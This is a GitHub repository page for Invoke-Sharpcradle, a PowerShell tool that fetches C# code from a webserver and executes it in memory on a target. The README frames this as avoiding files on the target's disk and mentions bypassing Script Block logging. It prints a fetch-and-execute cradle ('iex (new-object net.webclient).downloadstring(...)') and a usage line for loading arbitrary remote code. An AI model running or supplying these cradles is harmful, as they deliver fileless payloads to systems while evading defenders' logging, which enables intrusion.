Skip to content

S3cur3Th1sSh1t/Invoke-Sharpcradle

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

12 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Invoke-Sharpcradle

Load C# Code from a Webserver straight to memory and execute it there.

All I did here was to take the C# code from https://github.com/anthemtotheego/SharpCradle and convert it into a Powershell script using Add-Type.

Why? No executable on the target system hard disk. Powershell in memory, C# code in memory. To bypass Script Block logging further precautions have to be taken.

iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/SecureThisShit/Invoke-Sharpcradle/master/Invoke-Sharpcradle.ps1')

Invoke-Sharpcradle -Uri WebserverURI -Argument1 firstargument -Argument2 seccondargument -Argument3 thirdargument

alt text

About

Load C# Code straight to memory

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published